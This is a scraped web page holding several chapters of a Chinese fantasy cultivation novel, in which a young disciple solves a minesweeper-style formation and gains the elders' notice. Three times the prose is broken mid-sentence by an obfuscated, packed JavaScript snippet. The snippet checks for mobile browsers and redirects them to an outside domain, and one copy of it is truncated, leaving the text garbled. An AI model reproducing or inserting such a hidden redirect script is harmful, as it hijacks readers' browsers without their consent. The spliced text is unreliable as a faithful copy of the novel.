现在赤炎谷中站了不少人,各个气度不凡,神情肃穆,站成一个圈,严阵以待得仿佛在召开首脑会议,为“不用什么事都投票”进行投票表决。 也来了些弟子,人群中免不了会有小小的交谈声。 “那黑袍的便是掌门九玄真君?” 这问话的多半是外门弟子,一年到头进不了几次主峰的人,也见不到什么门派高层。 很快有人给了回复。 “不错。听说掌门已经三百多岁了,不过看起来还很年轻,就是头发有点少。” “我早说过修仙驻颜只能驻皮肉骨骼,不驻头发,你们还不信。瞧瞧咱掌门。修仙越久头发越少。他变强了,也变秃了。” “多吃些黑芝麻可以有效防止脱发。我这里恰好有一点,也不贵,三百灵石一两,防秃要趁早,欢迎师兄师弟们抢购。” 苟七堪堪站在人后,个子太矮,只能踮着脚张望。 背后谈论声还没停。 “掌门身边那满脸刀疤,凶神恶煞,还翻白眼的真人又是谁?” “还能是谁,韶慈真人,据说修为比掌门还高几个台阶。” “这就是他对掌门翻白眼的理由?” “不,他是修炼秘法,导致瞳孔变小,看起来略有些嘲讽罢了。” “啊这——不止是有些嘲讽吧。” “我瞧着张驰师兄站在他旁边,莫非他是张驰师兄的师尊?那旁边的红衣小师兄是——” “是钟棘。” 提到钟棘名字,叽叽呱呱的弟子群突然噤声了。显然这小魔头的恶名从内门到外门无人不知,连提到都让人胆寒,恨不得以“那个名字都不能说的人”来称呼他。 遥遥一看,那少年皱着眉,满脸郁躁,似乎很讨厌这种人多的场合,手指有意无意摩挲刀柄。 “……钟师兄是不是想杀人?” “大胆点,去掉是不是。他一定想杀人。” 他们点名的人物苟七一个也没能看到,在一堆大长腿中间,哪怕他蹦成一只兔子,也只能看见前面人乌黑的后脑勺。无奈之下,苟七只好拉着啾啾在人群中穿梭,想要找个绝佳的观景台。 “七七。”人群中突然传来个声音。 循声望去,两人立刻看见了之前一直不见踪影的宁溪,她身边还站了三四个年轻人,约莫都是问世堂的弟子,其中最为年长的弟子推着架木质轮椅,轮椅上坐了个人,正对他们微微笑着招手。 看起来是个三十余岁的男人,头发羽白,从肩头垂下两绺。他皮肤是病态的苍白,缺乏血色。睫毛长眉,都是白的。 “师父!”苟七惊喜了,忙不迭跑过去,绽放出一个赤忱的笑脸,要是他有尾巴,现在多半已经摇了起来。 ——不对,他本来就有尾巴。 啾啾跟着走了过去。 男人揉了揉苟七的脑袋,又抬眼看向啾啾,唇边是秀气的浅笑:“你便是棠鸠徒儿?” 啾啾低头行了个礼:“晚辈见过陨星真人。” “不必多礼。”男人眉眼间都如玉如诗,又有些易碎的脆弱感。他声音也是清润的,伸手扶了下啾啾,刚要说话,却骤然收回手,掩着嘴咳嗽起来。 咳得不厉害,但很痛苦,额上浮现出细细的青筋,四周弟子无一不担忧惊呼:“师父!” 啾啾来太初宗上学前,就把门派里教师天团的资料全都看过一遍了。这位陨星真人乃是修真奇才,十一岁炼气,十二岁筑基,十九岁结丹。他不愿修法,便修了剑,短短十年便修出剑气,从此更是名声大噪。 可惜天妒英才,便真如他名字陨星一般,某年门派大较他突然从空中跌下,奄奄一息。 掌门请了须弥禅师来把脉,只得到一句:“救不了。他身无肺腑,活不过两百岁。” 据说,是陨星真人幼年时身中奇毒,为了解毒,将肺腑献给了魔神。别看他温润清高,却心狠刚强,来这世间,只是为了强一把,爽一把。 陨星真人一只手按住弟子们情急下朝他伸来的手:“无妨。” 他边咳边摇头,脸色更白,又对他们摆摆手。 不等他恢复,四周各峰各堂弟子突然齐齐往后退了退,交谈声骤停,鸦雀无声,像极了以前上自习课喋喋不休却突然发现班主任站在后门的学生。 瘴雾被山谷中的风吹着,一阵一阵,往人群中间穿插涌动。 一团法光突然从中间散开,分散成五簇,分别浮在五芒星阵型的五个角上。被围在中间的真人们也跟着散开,严阵以待,气氛更加庄严肃穆,威压隐约在这片山谷中滚动。 这是不知道哪位老祖宗留下的规矩,就像建楼开盘前先搞个风水仪式一样,要开启大前辈们留下的阵法洞府,也须得焚香沐浴净衣正冠。还有人相信,这套流程走完后,能在阵法中开出些更好的宝贝。 这种说法虽然薛定谔了一些,但啾啾认同,她以前打游戏抽卡前,也经常搞玄学。 “师弟,劳烦你开阵了。” 一切做完,掌门退开一步,沉声道。 其余人也退了一步,还直直杵在前面不动的人就显得格外扎眼——是个头戴小冠,留着稀稀疏疏山羊胡的男人,也是所有人当中表情最不正经,看起来仿佛在打瞌睡的一个。 这人是谁? 不仅外门弟子,就连内门弟子都在互相交换眼色,满脸茫然。这位师尊看起来不够俊朗,些许潦草啊。 男人撩起眼皮,嘟哝了一声,慢慢走向阵眼。从他的口型来看,啾啾很怀疑他说的是“烦死了”。 山谷愈发静谧,只有瘴雾之上有渡鸦扑棱翅膀飞过,留下一阵“啊啊”的啼叫。 男人走到阵眼中间,俯下身。四周人全都屏住呼吸,等着即将到来的风云异变,附近的执剑弟子们更是结好剑阵,防止灵气变动时引来妖兽。 所有人都做好了准备—— 然而,男人手还没碰到阵眼中的东西,就缩了回来,直起身,背影懒散。 “师弟?”掌门压低了声音,皱起眉,“可是出了什么岔子?” “岔子倒是没有……”那男人嘀咕着,转身环视了一圈,表情很像贫民窟里的小混混,总是不耐烦想偷懒的,“那个叫什么,棠……棠……棠什么……” 他突然扬起声音:“棠鹊可来了?” 突然被点名,棠鹊愣了愣,走出阵列,对男人行了一礼:“晚辈在此,见过前辈。” 男人一招手:“你过来。” 虽然有些不明白,但棠鹊乖乖走过去。 在这令人生畏的高压环境下,少女面色不变,清丽平静,落落大方。一袭粉衫宛如薄雾中的一株桃花,朦朦胧胧,却叫人移不开视线。她一动,好些视线便跟着移动。 背后的宁溪倒是轻轻哼了一声,对棠鹊嗤之以鼻。 棠鹊走到男人面前。 男人瞧着她:“听说这阵法是你发现的?你让张弛带来的消息山人听过了,这阵法与你描述判断的全无出入,看来你在这上面倒是有几分天赋。” 棠鹊一愣。 不待她回答,男人指了指阵眼:“怎么样,感不感兴趣?这种大阵可是可遇而不可求。给你一个机会,你来开阵,如何?” 此言一出,众人全都吃了一惊,掌门扬起声音:“师弟,这恐怕不妥。” “有什么不妥的?”男人也不管掌门的意见,粗声粗气,“我欣赏的徒弟,怎么都可以。你要实在觉得不妥,就请个其他人来开阵。” “……” 阵修百年难得一遇,毕竟修炼难度太大,收益又太说不准,或许极强,或许极弱。可就算是极强的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067495|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也需要特定条件才能发挥自己功力。 鲜少有人愿意拿自己一辈子去赌,只有少部分痴迷于此的奇葩,才会选择这条路线。 孤灯便是这样一个奇葩。 他从不授课,也从不收徒,甚至几乎不在太初宗露面,管你什么大事小事要死要活,他通通不理。他一个人住在侧峰的孤灯竹林中,自称孤灯山人。 这位可是现今仅存的几位阵修之一。因而就算不妥,掌门也只有妥协,退到一边,拿眼神示意棠鹊好好干。 棠鹊更愣了。 本来没有这段小插曲,她就直接说了,她对此一窍不通。可孤灯真人顶嘴维护了她,帮她争取来一个表现的机会,棠鹊反而不知道该如何坦率承认了。 她脸色渐渐不好:“前辈……” “不用谦虚。”男人耐着性子,“去试试。” “……”众人投过来的一束束视线灼热地黏着在她身上,棠鹊抓了抓裙裳,紧紧抿住嘴。 “怎么了?” 许久后,棠鹊咬着唇低下头。 “晚辈、晚辈不会。” “不会?”男人吃惊,“山人瞧着你倒是挺了解的。” 棠鹊唇线僵直,微微垂下睫毛,视线仿佛什么都无所谓,又仿佛穿透了男人的身体,射在那让人一头雾水的阵眼上。 倔强又可怜。 “不会就算了。”男人似乎开始懊恼自己一时惜才的多此一举了,挥了挥手:“行了,你退下吧。我还以为……” 话没说完,一道声音突然传出,打断他:“不怪那小徒弟,怪你记错了人,你该好好自省才是。” 琅玉般的声音,宛如轻风细雨,整个世界都为之静谧。 咕噜咕噜的木轮声在地上滚过,前面的人群突然分开一条道,露出后面病弱的白发青年。 陨星真人清浅笑着:“你要找的并非棠鹊徒儿,该是棠鸠徒儿才是。” “棠鹊?棠鸠?”男人皱着眉,烦了,“我认错了?” 他只记得那小姑娘姓棠,名字里有个鸟,却没认真看。棠鹊这姑娘挺有名,人缘好,受欢迎,他隐约听说过,便以为是同一人。 他抬眼一扫,正好和啾啾对上视线。 一双漆黑的眼睛,死气沉沉下似乎埋藏着充满侵略性的狂气。但凡有人敢打破她的封印,她就会不管不顾爆发出来。 偏执疯狂的人才适合玩阵法。 半晌,孤灯真人低下头,直白地道歉:“是山人我认错了,该罚。女娃娃,你过来。” 陨星真人轻轻推了下啾啾,笑了笑,目带鼓励:“去吧。” 看样子挺希望啾啾和孤灯接触的。 啾啾没感觉到恶意。正好她也确实手痒想开这个阵,便径直上前,对男人行了个礼:“晚辈见过孤灯真人。” “女娃娃竟认得山人?”孤灯捋了捋胡须,眯眼笑了,片刻后,抬着下巴示意,“女娃娃,你开还是不开?” “开。”啾啾斩钉截铁。 “好好好!”孤灯真是个奇葩,就喜欢不和他整虚头巴脑那一套的人,客套来可套去,半天说不到重点,烦得很。他乐不可支,连连点头,“你现在就去开阵,山人我看着。” “是。”啾啾侧过身。 棠鹊还没走,就站在阵眼前,神色孤傲复杂。瞧见啾啾走来,不由自主低低喊了声:“阿鸠。” “嗯。”啾啾不想和她多接触,礼貌地点了点头,“师妹,借过。” 师妹…… 师妹? 师妹?! 棠鹊突然身子一震,宛如当头一棒,震得她眼冒金星,脑袋里嗡嗡地响。 她瞪大眼睛盯向她。 ——炼气大圆满境界。 棠鹊的心直直下坠,沉沉浮浮,心底冰凉。 半年了,她还在炼气八层,而无灵的焦火山上的棠鸠,竟然已经修炼到了炼气大圆满? 凭什么? 18. 第 18 章 阵眼上一共有三座镇石,以三足鼎立的姿态相对。 镇石是三棱柱型的,每一面都有着不同的图纹。 啾啾之前已经看过这些镇石了,这会儿转动石头,让蝉、螳螂、黄雀的图案遥遥相对,足底立刻响起滚石掠过声。 人群中“呀”了一声,紧接着,所有人都骚动起来,恐慌地往后连连倒退! 他们足下竟然凭空出现了个方形石台! 石台上是一块块小石板,只有椅面大小,一眼过去仿佛是天地间的大型棋盘。 可这不是棋盘,因为这些石板能踩下去。 有些跑慢了的弟子不小心踩到格子,足下那块石板便亮起来,相邻的石板上则浮现出花、叶、树的图纹,片刻后又慢慢暗下去。 “这……这是什么?”有人骇然道。 棠鹊跑慢了一些,是位师姐将她捞到一边。听见师姐的声音,她默默然一抿唇,抬眼看向啾啾。 现在所有人都看着啾啾,或是好奇或是恐慌或是期待。啾啾却面无表情。 棠鹊手心抠了抠,低下头。 “女娃娃,如何,能不能解?”孤灯笑问。 啾啾沉声:“能。” 这不难,刚才众位弟子跑动的时候就看出端倪来了。叶代表1,花代表2,树代表3。像极了她以前玩过无数次的——扫雷。 孤灯大笑:“女娃娃脑袋倒是挺灵活,山人我现在都还毫无头绪。女娃娃,你继续,让山人我开开眼界。” 啾啾指尖凝出木刺,砸向石板,试了几次,验证自己刚才的观察。 扫雷不难,难的是这些石板会暗下去。同一块石板触发三次后,四周数值便会发生改变。不同的石板触动十五次后,数值也会改变。相当于重来一局。根据“正确石板却不会被保留”这一点来推测的话,这多半是反向扫雷。 不是找出安全石板,而是找出其中的“雷”。 有了做题思路,一切就简单了。啾啾她捡了根树枝,一边用木刺砸石板,一边记数据。 中途孤灯过来看了一眼,点了点:“这是什么?” 啾啾看一眼:“这是三。” “这个符号竟然是三?那这个呢?” “是二。” “真稀奇。”孤灯弯腰瞧了半天,又闭上眼睛沉吟一会儿,感兴趣了,“不错,用这种符号来写,倒是更直观一点。女娃娃可愿教教山人?” 啊这——不妥吧? 虽说修真界的人行事比俗世凡人狂放一些,但长幼尊卑、人伦纲常是死死板板刻进骨子里的。师父向徒弟请教?就算俗话有说不耻下问,可这种场合下,也太没羞耻心了。 众人面面相觑,一想到他们的师尊要是当着许多人的面对他们说出同样的话来,便是一身冷汗。 然而那炼气期的小师妹非但不胆怯,还平平答应一声:“好。” 小师妹牛逼啊! 孤灯悟性很高,站了半刻钟,约莫从啾啾的记录里看出端倪了,扬了扬眉,但笑不语。与此同时,啾啾也站了起来。 空中木刺渐渐凝结,比上次和昆鹫对战时结实了许多,已有手臂粗细,甚至能看见木刺上纠缠的刺茎与藤鞭,形状些许狂野。 啾啾抬起手,皮肤有如皎月,指尖溢着光,和这画风野蛮的木刺格格不入。 手指轻轻一划,那木刺就轰然一声,猛然坠下! 一,二,三,四,五。 整整五根木刺齐齐砸下,地面上扬起一片尘土。只听见滚石声再次响起,脚下传来细微动静,众人不得不惊骇地再次后退。 然而并没有发生任何异常,足下只有绵延的红土地。 尘雾散却后,中间的石台已经赫然消失,倒是伫立起五根柱子,上面凝着金色的光。 孤灯连连点头,笑着不说话。 火克金,这里要用火。 啾啾不会火系仙术,但她认识一个会的人。 她走过去。 “师兄,借个火。” 她拉了拉钟棘的袖子,举起手上还未扔掉的枯枝。 …… “啊啊——” 渡鸦高鸣着从头上掠过,仿佛不详的引路人,指明同样黄泉的路。 空气突然死寂。 弟子们都盯着那边。 啾啾本来就挺矮,在高挑的少年面前愈发有些小只。手指葱白,拉着少年袖子,在那片暗红背景下,有如血色淌开,叫人不安。 场上气氛诡异冰凉到极点,众位弟子没一个敢大出气,生怕惹着煞神。 就算知道师尊真人们在此,钟棘不会轻举妄动,可也害怕。 那是种没有道理的害怕,原始本能的害怕,淡然如棠鹊也逃脱不了的害怕,仿佛蝼蚁大小的人类站在狂浪拍打的礁石上,摇摇欲坠,冰凉水雾贴了一身,独自面对深海中缓缓浮现的庞然巨物。 这种混合了凌虐、杀戮、未知恐惧的观望下,钟棘只是愣了愣:“做什么?” 啾啾半点没怕,晃了晃手上的枯树枝,机械地重复:“借个火,我要去点燃柱子。” “哈?”钟棘睁大眼,非常不满,“别用我的火去做这些奇奇怪怪的事。” 少年拧着眉,表情戾气。 众位弟子眼观鼻鼻观心,不敢吱声。小师妹快逃吧,这小祖宗明显不高兴了。 话说回来什么叫奇奇怪怪的事啊!什么又叫不奇奇怪怪的事啊!难道你说的不奇奇怪怪的事是指杀人?绝对是指杀人吧?! “借不借?”啾啾又晃了一下树枝。 “……啧。”钟棘很不爽地看向那黑色枝桠,好半天,不情愿地扬起声音,“把柱子点燃就行了,对吧?” “嗯。要把上面的东西融掉。你如果不想麻烦,帮我点燃这根树枝就行了,我有办法。” “行了,站到一边去。”钟棘烦躁地把她往旁边薅了一把。 ??????? 等等,钟师兄这就妥协了?弟子们大吃一惊,他们本来还在心里构思很勇的小师妹接下来会遭受何种磨难,乍然听见钟棘声音,错愕不已,钟师兄什么时候这么好说话了? 钟棘还皱着眉,抬起手,五根柱子上立刻浮现出五团旋转的火雾,赤光灼灼,流金璀璨。 啾啾侧脸瞧他一眼。 少年手心一捏,火雾立刻直直冲向柱子。 火风炙烫,金色的灵核瞬间融化,难以想象温度有多高,连石柱都一节节化掉。金光淌落在地上,沿着足下土地的裂缝奔流闪烁,所到之处都是噼啪的细响。 啾啾垂目定睛,心里突然一沉,直觉不好,喝出来:“快退!” 细响更烈,她下意识挡了挡钟棘。 然而少年动作比她还还快,话音未落,便已经操起她往后掠出两丈远。 下一秒,地下轰鸣震颤,猛地一声,金光突然喷涌而出,宛如岩浆迸裂,岩石土块全部弹射喷溅! “轰——!” 窒息般的烟尘腾腾滚起,整片土地被炸得掀起,瘴气尘埃,飞沙走石,看不清的四周传来此起彼伏的惊叫和咳嗽。 “这是怎么回事?” “咳咳咳咳。” “师妹,你可还好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“哈哈哈哈。”孤灯愈发高兴,不住点头,“虽然你大意了一次,但好在反应快,没有酿成大错。世间阵法千千万万,比这诡谲的更有,下次可切忌阵法没解完便放松警惕。” “晚辈知道。”啾啾行了个礼,点点头。 “你以前可开过大阵?” “未曾。” “第一次开这种大阵便能机灵至此,属实不错。”孤灯目光闪了闪,笑意渐渐褪去,微不可察地叹了口气,话锋一转,“你师尊何人?” 瑞光之下山风轻盈,人群中有人心一提,有人默然观望。啾啾站了片刻后,终是抬眼看向某处。 她的师尊、她的亲哥哥都站在那边,与她遥遥相望,神色复杂。棠折之尤为突出。 啾啾说:“乃是明皎真人。” 静默了一会儿,明皎真人封疆,也是原著中执掌太初宗的下一任掌门,负着手走出人群,侧身而立,丰神俊朗。 “鸠儿。”他叹息一声。 啾啾只低头行了一礼,不多话,漠然看向那柱瑞光。 两人之间有些端倪。 孤灯感叹:“倒是便宜你了,让你收了个好徒弟。” 封疆还在想此前为了爱徒重罚棠鸠一事,他心里的确是有失偏颇的。 听见孤灯这么说,本来的计较渐渐散却,生出些欣慰傲然。过了一会儿,他才笑笑:“鸠儿的确是个聪慧过人的好孩子。” 19. 第 19 章 其实孤灯也不知道自己心里转了一圈的是什么想法。只是难得见到个欣赏的丫头,一时冲动便问出声来,毕竟这世上学习阵法、痴迷阵法、擅长阵法的人实在是太少了,那感觉不像是师徒,而像是遇到了一个知己好友。 这天下最难觅的便是知己。 那电光火石的冲动平息后,孤灯冷静下来,又有些惆怅。阵修是这世上最孤独绝望的修行,他并不希望有人步自己后尘。 他扫了封疆一眼,封疆则侧目瞧着他徒儿,微微怔忪。 徒弟得到了认可,作为师父自然应该欣慰。封疆也确实欣慰了,可这其中又掺杂了点莫名的难言。 棠鸠是个什么样的人? 如果问起封疆这个问题,只会让他皱皱眉,心里浮现出一个模模糊糊的影子,看不清楚。便如一年前棠折之带着他两个妹妹来见他时那样。 棠鹊天资上佳,通透懂事,是个值得精心培养的好苗子。 而棠鸠—— 不记得了。 确实不记得了。在她哥哥姐姐的光华面前,她宛如一道灰暗的阴影,沉默地泯然于众人之中,只隐隐约约顶着标签——棠折之和棠鹊的妹妹。他顺水人情收下的小徒弟。 不值得费心,也不值得在意。 甚至棠鸠自己也该有自觉,若非她哥哥姐姐,她根本无缘入他座下。她该明白,也该摆正自己位置,莫惹是非。 所以半年前他震怒,若非棠折之跪地为她求情,他本会罚她在焦火山呆三年。 可现在这道灰暗的影子却从焦火山的浊烟中走了出来,能看清楚她的面容,也能看清楚她犀利的光芒,驱云散雾。明明未曾培养过她,她却能木秀于林。 而她大放异彩的东西,非他所授。 封疆闭了闭眼。 棠鸠已经是炼气大圆满境界了,竟然比棠鹊修为还高出几个小台阶。可这灵根经脉,依然杂质遍生,残破不堪。 也许不必太在意。也许这将是她此生中最为耀眼的一日。 只此一日。 …… 啾啾觉得现在很像是升旗仪式里校长讲话的环节,而她是队伍中开小差的中学生。 她眼角余光突然扫到个一闪而过的黑色影子。 顿了两秒,啾啾回忆起自己来这里的支线目的,便稍稍偏过头,拿出标准的在大集合中说小话的姿势:“钟棘。” “啊?” 对方并没有集合的自觉,吐出个引人侧目的郁躁音节。 啾啾问:“我刚刚看到我要找的狗跑过去了,你能不能帮我把它牵回来?” “……”钟棘愣了愣,一言难尽,“你为什么不自己去?” “因为我现在走不开。”啾啾诚实。 她还在参加升旗仪式。封疆也好、孤灯也好,注意力都在她身上,一走了之也太狂妄了,她虽然没什么情绪,有时候很勇,但不代表她这么嚣张。 “如果大黄再跑远了的话就不好找了。我会给你报酬。” “我不需要你的报酬。”钟棘提声。 他眉生得乌黑秀致,眉峰在最恰到好处的点折出矜贵浅淡的弧度,这会儿这双过于漂亮的眉拧起,斜压向双眼,不悦的躁气冲散了雌雄莫辨的艳丽。他捏着手,不爽:“活要见狗,死要见尸是吗?” “最好还是活着带回来。我刚刚看见它是活着的。” 不能弄死。 少年有被气到,转身走了两步,又折回来,身影笼罩住啾啾,低声威胁:“我告诉你,我是个成熟稳重的大人,你再命令我做这些莫名其妙的事,我就……” “就杀了我?”啾啾突然抬眼,木然的瞳孔中浮出闪烁的亮光。 显然很期待。 钟棘傻眼半天,一抿唇,声音阴戾残忍:“我就生气。” “……”哦。 什么杀掉她、点燃石柱子、找狗……没一件他喜欢的正经事。 少年表情不善,乖乖离开,鸦羽般的发丝沥着晴阳,闪烁出星星点点的碎光。 啾啾对他背影眯了眯眼。 虽然但是…… 她觉得小钟师兄和“成熟稳重”里的任何一个字都没沾边。 也许他对自己有误解。 升旗仪式还在继续,没过多久,钟棘回了来,身后跟着条战战兢兢的黑色大狗。 看来少年那极具压迫性的凌厉锋芒,不仅仅会对人产生威胁,还会对生灵造成威胁,大狗夹着尾巴,没被牵引,就那样老老实实地跟着少年走。 这一趟宁静无声,只有途经的师兄师弟们胆战心惊。 这带着活物归来的人是谁?是钟棘?钟棘不应该是刀尖染血,死灵傍身的么! 什么,他竟然是把狗带给那开阵的师妹的?他在帮忙跑腿? 嘶—— 师妹好大的能耐! 钟棘回来后,神情愈发冷锐:“你没告诉过我它是条黑狗。” “它本来就是黑的。” “可它叫大黄。”钟棘强调。 “众所周知,叫大黄的都是黑狗。四大天王都是五个。” “……真的?”钟棘愣住。 啾啾已经俯下了身,伸出手:“大黄。” 两股战战的黑狗仿佛终于找到了主心骨,眼睛一亮,摇着尾巴奔到啾啾身边,呜咽一声。 “汪汪!” 狗叫声拉回了诸位师尊的注意力,也打破了现场气氛的古怪凝滞,一双双视线重新投了过来。 半晌。 掌门唤了一声:“棠鸠徒儿,过来。” 他对她招招手。 啾啾再次把大黄留给不情愿的小钟师兄,走过去,封疆视线随着她转动,眸色莫测。 掌门是个总被其他真人欺负的秃头小可怜,没啥威严。不过他人还不错,阵法既然由棠鸠开了,他便认了,从怀里摸出个水蓝色东西。 “这阵法全开还还需半月,你可以多多向你孤灯师父请教。只是焦火山乃无灵山,若遇到危险,以你的灵力恐难以对付。这是养灵珏,你便拿着吧。” 他将灵玉放入啾啾手中。 养灵珏中封着灵核,能自行生出灵气,也有些聚灵的效果,不算稀罕,高阶修士几乎人手几个。但也不常见——因为这玩意儿,只有紫霄仙府的通明秘境才能找到。而高阶修士法术蛮横,十个养灵珏炼化在一起,也不够弥补他们消耗的灵气。 常见,却不流通。 不少人盯着这边,虽然不敢惦记掌门的东西,却各有想法。有人艳羡,有人欣慰,有人晦涩。棠鹊别开脸不看那边,目光正好落在不远处的钟棘身上。 少年在和黑狗对峙,居高临下,眉目宛如薄刃厉锋,蕴着要剜心刻骨的焦躁狠戾。耳下红笺摇摇晃晃,狂气张扬。 啾啾愣了一会儿:“多谢掌门。” 她将温良美玉戴在脖子上。 开阵仪式结束,众人纷纷打道回府,钟棘将大黄丢给苟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067497|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七,“拿好”,不待苟七反应,便疾疾离去,背影匆忙,看来是真厌烦这满谷人影。 孤灯则来问了一句:“女娃娃,可愿将此阵开完?” 啾啾回:“晚辈愿意。” “那山人可就交由你负责了,你千万谨慎当心。” “晚辈明白。” 道过别,孤灯一边捶着腰,一边嘀咕着“总算能睡觉了”,渐渐走远,整个赤炎谷只剩下问世堂的人马。 陨星坐在木轮椅上,苍白病态的脸庞上对她绽出抹微笑,似已了然:“孤灯将事情都交给你了?” 啾啾点了点头,又觉得这样回答不妥:“我本来便挺感兴趣的。” “他又想偷懒罢。”陨星淡色唇瓣间溢出轻轻的叹息,并不是抱怨,更倾向于无奈,眉眼间染了点头疼,“要劳烦你多多费心了。” “不打紧。” 男人看看苟七,又看看宁溪,细白的手指敲敲轮椅扶手:“这些时日,我会多派些人手前来焦火山,你们须得严防警惕,多加注意。” 两人连连点头。 陨星抬眼望向晴空下赤裸险峻的红色山峰,有些忧心:“就怕这漫天瑞光,引来的却是不祥之物。” …… 陨星动作很快,第二天就派了七个人过来,现在问世堂——焦火山分堂中一共有十位弟子。 日子不再空闲。 啾啾负责开阵,其余人则三人一组,全山巡逻。 陨星的担忧确实没错,开阵第十日,崔小虎凭着啾啾给的信物闯入问世堂,来不及喝口水,就上气不接下气道。 “对不起,啾啾姐姐说如果有什么异常就立即来这里报告……我、我是来报告的,我们旁边王家村,前两日失踪了七八个人,今天好不容易找回一个,但那人已经疯疯癫癫,跟被鬼俯身了似的,所以我来……” 小虎顿了顿,抬起眼:“啾啾姐姐呢?” 宁溪与苟七交换了个眼色,神情肃穆。 “她不在。”苟七沉声,“我同你去看看。” 当天晚上,张弛带着钟棘过了来。 问世堂里虽说都是外门弟子,功法不及内门弟子高级,可这些人常年奔波于战斗任务,实战经验可比那群花架子内门弟子丰富多了,全员都很能打。 这会儿所有人都做好了开战的准备。 “虽说那只是沂山派的先遣弟子,可不知道里面是否有高阶修士。到时候尽可能偷偷潜入,不要打草惊蛇。不怕一万,就怕万一。” 张弛很严肃,完全看不出平日的敦厚老实。 钟棘烦躁地在他身后走来走去。 等他说完,他才开口:“她呢?” “她?”苟七一愣。 宁溪反应快:“棠鸠师妹?她还在突破瓶颈。” 就是这么赶巧,前几日啾啾便觉得瓶颈松动,突破有望。又用养灵珏温养了几日,直到丹田内灵气溢出,才开始突破筑基期。没想到中途会遇上这么一茬。 从今早到现在,已经九个多时辰了。 按理说,一般十个时辰就能搞定。 “应该快好了。”苟七看看天色。 钟棘站了一会儿,突然道:“你们去北边的营地。” “什么?”众人一愣。 “你们去北边。”钟棘重复,拧着眉,“我等她突破完,便与她去东边的营地。” “……就你和她?”苟七小心。 “就我和她。” 20. 第 20 章 “不行。” 漫长的沉默后,宁溪开了口。 钟棘发出个介于“哈”和“啊”之间的音节,侧过脸来看她。红笺在耳下随风微动,少年下颌线单薄锋利,只是侧目投来点莫名的视线,可总让人觉得他的瞳孔宛如寒冷的烈火。 说真的,不怕是不可能的。 钟棘身上的杀欲过重,那种宛如荒野上蛰伏残忍的凶兽气息能一寸寸侵蚀人的骨头,将它们熔成烂泥。 宁溪低了低头,即便如此,还是坚决地拒绝:“不行。” 开玩笑。 让啾啾和钟棘一起,怕不是明日就能准备葬礼。从以前到现在,与钟棘一同执行任务的弟子,有几个是活着回来的? 宁溪就不幸旁观过一次。 那是剿杀紫革蛛时,满洞窟密密麻麻的蜘蛛朝他们涌来,其中一位惊骇的师妹腿软了几分,下意识拉住钟棘手腕,却被他反射性地厌恶甩开。 蜘蛛的毒牙瞬间刺穿了师妹的喉咙。 钟棘能救,却不救。他只是居高临下看了一眼,甚至没有为师妹的死怜惜一瞬。 片刻后,他转过身,看向燃起他征服欲的强大妖兽,绽放出兴奋的笑。 人类的感情丰富多彩,面对强敌时的恐惧,面对死亡时的同情,面对同伴时的援护,还有生死关头的慈悲——这些,钟棘都没有。 放啾啾和他单独一组,太危险了。 然而不待钟棘回答,苟七就先“嗯”了一声,温暖可靠的嗓音听起来极其坚定:“你俩一起也行,就这样安排吧。” “???”宁溪不可置信地看向犬耳少年。 什么,你这个叛徒。 “苟七!”她低声。 犬耳少年神色未变:“既然安排好了,我们就出发吧。” 张弛点头:“也好。” “不行——”宁溪还想再说什么,却被苟七一把捂住嘴。 “走了。”苟七半拖着她离开。 直到出了问世堂,才松开她。 宁溪第一件事就是踢过去。 “你认真的?”她还是不敢相信他们中出了一个叛徒,“你把棠鸠留给钟棘?” “嗯。”苟七被踢一下,没觉得疼,点点头。 “为什么?”宁溪扬高声音。 苟七道:“因为我能闻到,他对啾啾师妹没有恶意。” 宁溪一愣,直勾勾看着他,慢慢收回手。 苟七顿了顿:“相信我,我们当中,只有啾啾师妹和他在一起,是绝对安全的。相信我。” 他甚至一连说了两声相信他。 苟七本来就是个让人放心的……狗。 宁溪别过脸,算是妥协了。 顿了顿,又不甘心:“要是出了意外,你这辈子都别想长高。” 苟七点头:“好。” 他能保证。 因为他能嗅到人类的感情。 就好像能嗅到陨星对问世堂弟子们的喜爱,能嗅到啾啾对他们的信任,还能嗅到那日开阵时,棠鹊在啾啾面前翻搅澎湃的心绪。可是太过复杂,苟七生而为狗,根本不懂。 狗耳朵抖了抖,苟七看向黑色的前方,疾驰的风旋转着擦过脸颊,扑朔迷离。 他突然问。 “你说,人为什么能又希望一个人好,又希望她不好?” 宁溪侧过脸看看冒出意义不明问题的少年。 苟七的犬耳因为想不通而竖得更直,耳廓朝前,稍稍歪着头,对人类的爱恨露出百思不得其解的困惑表情。 许久后,宁溪摇摇头:“我也不知道。” …… 那比啾啾还矮的姑娘被差不多矮的少年拖走了,张弛打了声招呼,也旋即带着其他人离开问世堂。 整个世界终于清净下来,钟棘松了眉头,转身走向弟子厢房。 少女正盘腿坐在床上,闭着眼睛,睫毛偶尔颤抖一下,额头上全是汗珠。 突破筑基期没有任何危险,但不代表没有风险。 最大的风险就是——前功尽弃,修为倒退。 